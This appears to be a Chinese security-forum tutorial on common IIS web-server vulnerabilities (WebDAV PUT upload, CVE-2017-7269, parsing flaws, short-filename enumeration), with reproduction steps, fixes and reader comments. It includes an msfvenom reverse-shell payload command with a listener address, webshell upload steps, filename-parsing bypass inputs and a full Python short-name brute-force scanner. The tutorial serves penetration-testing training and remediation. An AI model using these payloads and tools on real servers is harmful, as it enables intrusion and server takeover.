Web中间件常见漏洞总结——IIS篇

2021-02-07 10:51:41 25 11427 3

0x01 前言

渗透过程中会遇到各种中间件,某些中间件版本存在远程执行、任意文件上传等漏洞。本文对IIS相关漏洞进行整理,方便我们在渗透过程中快速查阅IIS漏洞。文章粗略浅显,适合刚入行的新手观看。

0x02 目录

IIS6.0 PUT漏洞

IIS6.0 远程代码执行漏洞 CVE-2017-7269

IIS6.0 解析漏洞

IIS7.0/7.5 解析漏洞

IIS短文件名漏洞

IIS对应windows系统版本: Windows Server 2000 —— IIS 5.0 Windows XP SP1 —— IIS 5.1 Windows XP SP2,SP3 —— IIS 5.1 Windows Server 2003,XP porfessional —— IIS 6.0 Windows Vista Ultimate —— IIS 7.0 Windows 7 —— IIS 7,IIS 7.5 Windows Server 2008 SP2,SP3 —— IIS 7.0 Windows Server 2008 R2,部分Windows 7 —— IIS 7.5 Windows Server 2008 SP2,SP3 —— IIS 7.0 Windows Server 2012,Windows 8 —— IIS 8.0 Windows Server 2012 R2 —— IIS 8.5 windows Server 2016,Windows10 —— IIS 10

0x03 IIS6.0 PUT漏洞

漏洞原理

IIS6.0 server在web服务扩展中开启了WebDAV(Web-based Distributed Authoring and Versioning)。WebDAV是一种HTTP1.1的扩展协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,如PUT,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。可以像在操作本地文件夹一样操作服务器上的文件夹,该扩展也存在缺陷,利用PUT方法可直接向服务器上传恶意文件,控制服务器。

环境搭建

windows server 2003 安装IIS6.0:

开启WebDAV服务:

网站目录允许来宾用户写入:

漏洞复现

这里我们使用IISPutScanner工具进行复现。

首先使用工具扫描目标地址:

发现存在IIS6.0 PUT漏洞,右键选择上传文件:

数据包格式选择PUT,选择asp一句话木马,点击提交数据包:

然后数据包格式选择MOVE,再次点击提交数据包,此时可得到webshell路径:

使用菜刀连接我们的webshell:

成功获得服务器权限。

修复方案

  • 关闭WebDAV服务扩展
  • 关闭IIS来宾用户写入权限

0x04 IIS6.0 远程代码执行漏洞 CVE-2017-7269

漏洞原理

在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以"If: <http://"开始的较长header头的PROPFIND请求执行任意代码,控制目标主机。

环境搭建

IIS6.0开启WebDAV服务扩展:

漏洞复现

使用IISPutScanner工具扫描目标地址:

发现目标存在WebDAV远程代码执行漏洞,使用网上公开的利用工具复现漏洞:

生成bin文件:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.157.133 LPORT=8077 EXITFUNC=thread PrependMigrate=true PrependMigrateProc=rundll32.exe >iis

反弹shell:

此漏洞成功利用后会导致IIS服务崩溃,反弹shell提升为管理员权限后务必重启IIS服务。

批量检测脚本:

https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner

修复方案

  • 关闭WebDAV服务扩展

0x05 IIS6.0 解析漏洞

漏洞原理

基于文件名

IIS6.0默认不解析;号后面的内容,例如1.asp;.jpg会当成1.asp解析,相当于分号截断。

基于文件夹

IIS6.0会将/*.asp/文件夹下的文件当成asp解析。

修复方案

由于微软并不认为这是一个漏洞,也没有推出相关的修复补丁,因此我们需要自己设置:

  • 取消网站目录脚本执行权限:

  • 禁止创建文件夹
  • 重命名上传文件为时间戳+.jpg或随机数+.jpg

0x06 IIS7.0/7.5 解析漏洞

漏洞原理

IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1,导致在任意文件后面添加/.php,服务器就会解析成php。

环境搭建

在windows server 2008 R2系统中打开服务器管理器,点击添加角色,添加web服务IIS,勾选如下选项,点击下一步并安装:

等待片刻后,IIS7.5安装完成:

下载php安装包php-5.3.9-Win32-VC9-x86.msi,安装php。

下载地址:https://windows.php.net/downloads/releases/archives/

在Web Server Setup步骤中选择IIS FastCGI

来到IIS7.5,点击ISAPI和CGI限制,添加php-cgi.exe安装路径:

返回,点击处理程序映射,添加脚本映射,配置如下:

此时环境配置完成,phpinfo测试:

漏洞复现

访问.jpg文件:

利用解析漏洞:

修复方案

  • cgi.fix_pathinfo设置为0并重启php-cgi程序

0x07 IIS短文件名漏洞

漏洞原理

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。 使用命令dir /x可以看到短文件名的效果:

观察执行结果可以发现,短文件名如下特征:

  • 只有6位显示,后续字符用~1代替。
  • 后缀名称只显示3位。

我们可以对启用.net的IIS暴力猜解短文件名,原因是: 1.访问某个存在的短文件名,返回404:

2.访问某个不存在的短文件名,返回400:

漏洞复现

使用网上公开的利用脚本暴力猜解短文件名:

脚本代码:

#!/usr/bin/env python
# encoding:utf-8
# An IIS short_name scanner   my[at]lijiejie.com  http://www.lijiejie.com    

import sys
import httplib
import urlparse
import threading
import Queue
import time

class Scanner():
    def __init__(self, target):
        self.target = target.lower()
        if not self.target.startswith('http'):
            self.target = 'http://%s' % self.target
        self.scheme, self.netloc, self.path, params, query, fragment = \
                     urlparse.urlparse(target)
        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
        self.request_method = ''
        self.msg_queue = Queue.Queue()
        self.STOP_ME = False
        threading.Thread(target=self._print).start()

    def _conn(self):
        try:
            if self.scheme == 'https':
                conn = httplib.HTTPSConnection(self.netloc)
            else:
                conn = httplib.HTTPConnection(self.netloc)
            return conn
        except Exception, e:
            print '[_conn.Exception]', e
            return None

    def _get_status(self, path):
        try:
            conn = self._conn()
            conn.request(self.request_method, path)
            status = conn.getresponse().status
            conn.close()
            return status
        except Exception, e:
            raise Exception('[_get_status.Exception] %s' % str(e) )

    def is_vul(self):
        try:
            for _method in ['GET', 'OPTIONS']:
                self.request_method = _method
                status_1 = self._get_status(self.path + '/*~1*/a.aspx')    # an existed file/folder
                status_2 = self._get_status(self.path + '/l1j1e*~1*/a.aspx')    # not existed file/folder
                if status_1 == 404 and status_2 != 404:
                    return True
            return  False
        except Exception, e:
            raise Exception('[is_vul.Exception] %s' % str(e) )

    def run(self):
        for c in self.alphanum:
            self.queue.put( (self.path + c, '.*') )    # filename, extension
        for i in range(20):
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()
        for t in self.threads:
            t.join()
        self.STOP_ME = True

    def report(self):
        print '-'* 64
        for d in self.dirs:
            print 'Dir:  %s' % d
        for f in self.files:
            print 'File: %s' % f
        print '-'*64
        print '%d Directories, %d Files found in total' % (len(self.dirs), len(self.files))
        print 'Note that * is a wildcard, matches any character zero or more times.'

    def _print(self):
        while not self.STOP_ME or (not self.msg_queue.empty()):
            if self.msg_queue.empty():
                time.sleep(0.05)
            else:
                print self.msg_queue.get()

    def _scan_worker(self):
        while True:
            try:
                url, ext = self.queue.get(timeout=1.0)
                status = self._get_status(url + '*~1' + ext + '/1.aspx')
                if status == 404:
                    self.msg_queue.put('[+] %s~1%s\t[scan in progress]' % (url, ext))

                    if len(url) - len(self.path)< 6:    # enum first 6 chars only
                        for c in self.alphanum:
                            self.queue.put( (url + c, ext) )
                    else:
                        if ext == '.*':
                            self.queue.put( (url, '') )

                        if ext == '':
                            self.dirs.append(url + '~1')
                            self.msg_queue.put('[+] Directory ' +  url + '~1\t[Done]')

                        elif len(ext) == 5 or (not ext.endswith('*')):    # .asp*
                            self.files.append(url + '~1' + ext)
                            self.msg_queue.put('[+] File ' + url + '~1' + ext + '\t[Done]')

                        else:
                            for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
                                self.queue.put( (url, ext[:-1] + c + '*') )
                                if len(ext) < 4:    # < len('.as*')
                                    self.queue.put( (url, ext[:-1] + c) )

            except Queue.Empty,e:
                break
            except Exception, e:
                print '[Exception]', e


if __name__ == '__main__':
    if len(sys.argv) == 1:
        print 'Usage: python IIS_shortname_Scan.py http://www.target.com/'
        sys.exit()

    target = sys.argv[1]
    s = Scanner(target)
    if not s.is_vul():
        s.STOP_ME = True
        print 'Server is not vulnerable'
        sys.exit(0)

    print 'Server is vulnerable, please wait, scanning...'
    s.run()
    s.report()

修复方案

  • 升级.net framework到4.0以上版本
  • 关闭NTFS 8.3文件格式的支持(默认开启)

1.修改注册表键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,修改NtfsDisable8dot3NameCreation为1,并重启系统。

2.windows server 2003命令行执行fsutil behavior set disable8dot3 1(1表示关闭,0表示开启) windows server 2008命令行执行fsutil 8dot3name set 1 不同系统关闭命令稍有区别

自评TCV:0

关于作者

cHr1s54篇文章182篇回复

欢迎关注我的个人公众号:黑客前沿

评论25次

要评论?请先  登录  或  注册
  • TOP1
    2021-2-8 16:14

    短文件名还是很多啊,经常看到

  • TOP2
    2021-2-7 14:30

    我只是提个建议,不是纯属杠精,只是为了更好的进行信息收集,IIS对应windowsxi统版本:Windows Server 2000 —— IIS 5.0Windows XP SP1 —— IIS 5.1Windows XP SP2,SP3 —— IIS 5.1Windows Server 2003,XP porfessional —— IIS 6.0Windows Vista Ultimate —— IIS 7.0Windows 7 —— IIS 7,IIS 7.5Windows Server 2008 SP2,SP3 —— IIS 7.0Windows Server 2008 R2,部分Windows 7 —— IIS 7.5Windows Server 2008 SP2,SP3 —— IIS 7.0Windows Server 2012,Windows 8 —— IIS 8.0Windows Server 2012 R2 —— IIS 8.5windows Server 2016,Windows10 —— IIS 10

  • 25楼
    2022-5-19 14:47

    对IIS的测试归纳得很全,感谢分享,IIS短文件名确实挺常见的。

  • 24楼
    2021-7-7 20:40

    iis解析漏洞现在还有很多啊,还有nginx的解析漏洞

  • 23楼
    2021-3-30 16:59

    很少碰到这种

  • 22楼
    2021-3-27 21:30

    够全!!!赞

  • 21楼
    2021-2-22 15:12

    IIS在现实环境中能搞的还是不多

  • 20楼
    2021-2-21 17:05

    之前在实xi公司还是有见过短文件名,解析漏洞基本没见到过。

  • 19楼
    2021-2-8 16:14

    短文件名还是很多啊,经常看到

  • 18楼
    2021-2-8 13:40

    短文件确实挺多的,但实际作用并不大

  • 17楼
    2021-2-8 09:08

    如果开了iis用户写入权限,没开WEBDAV就没有其他的办法了么?

  • 16楼
    2021-2-8 08:19

    针不戳,只是现在越来越少了,这种解析漏洞

  • 15楼
    2021-2-7 23:06

    我还用的那个老版本拿来扫端口哈哈

  • 14楼
    2021-2-7 20:38

    远古的漏洞,现在用扫描器也能扫出几个短文件漏洞

  • 13楼
    2021-2-7 19:13

    挺适合甲方的安全运维用的,对于乙方或者挖洞的人员来讲,这些漏洞可能不算啥,但是对于甲方来讲,就算是没有证明能利用的漏洞,但是软件版本存在漏洞,都可以被通报。。

  • 12楼
    2021-2-7 18:20

    谢谢总结,小白还是学到了很多知识

  • 11楼
    2021-2-7 18:20

    短文件名遇到不少,读读文件名还是可以的,实际用处有限

  • 10楼
    2021-2-7 17:21

    几年前gov的还能见到些,现在很少啊

  • 9楼
    2021-2-7 15:15

    也就是2008 以后这些基本就没有了,怪不得只在靶机中遇到一些,其他的能遇到的就是短文件名了

  • 8楼
    2021-2-7 15:05
    lidasimida

    其实这种很久以前的漏洞,既然是重新做出来总结给别人看,建议加一个影响的xi统版本,这样更好,不然小白误以为这些绕过方式现在还可以适用,测试的时候全都轮一遍。

    1
    cHr1s

    影响版本已写,我不明白所说的xi统版本是啥意思呢

    2
    cHr1s

    好的,感谢大佬建议,已在文章开头添加IIS对应版本

    4

    我不是大佬,菜鸟一个,卑微在线学xi大佬姿势。

  • 7楼
    2021-2-7 14:57

    很难碰到了

  • 6楼
    2021-2-7 14:49

    这些解析漏洞都比较老了 现在能碰到很少了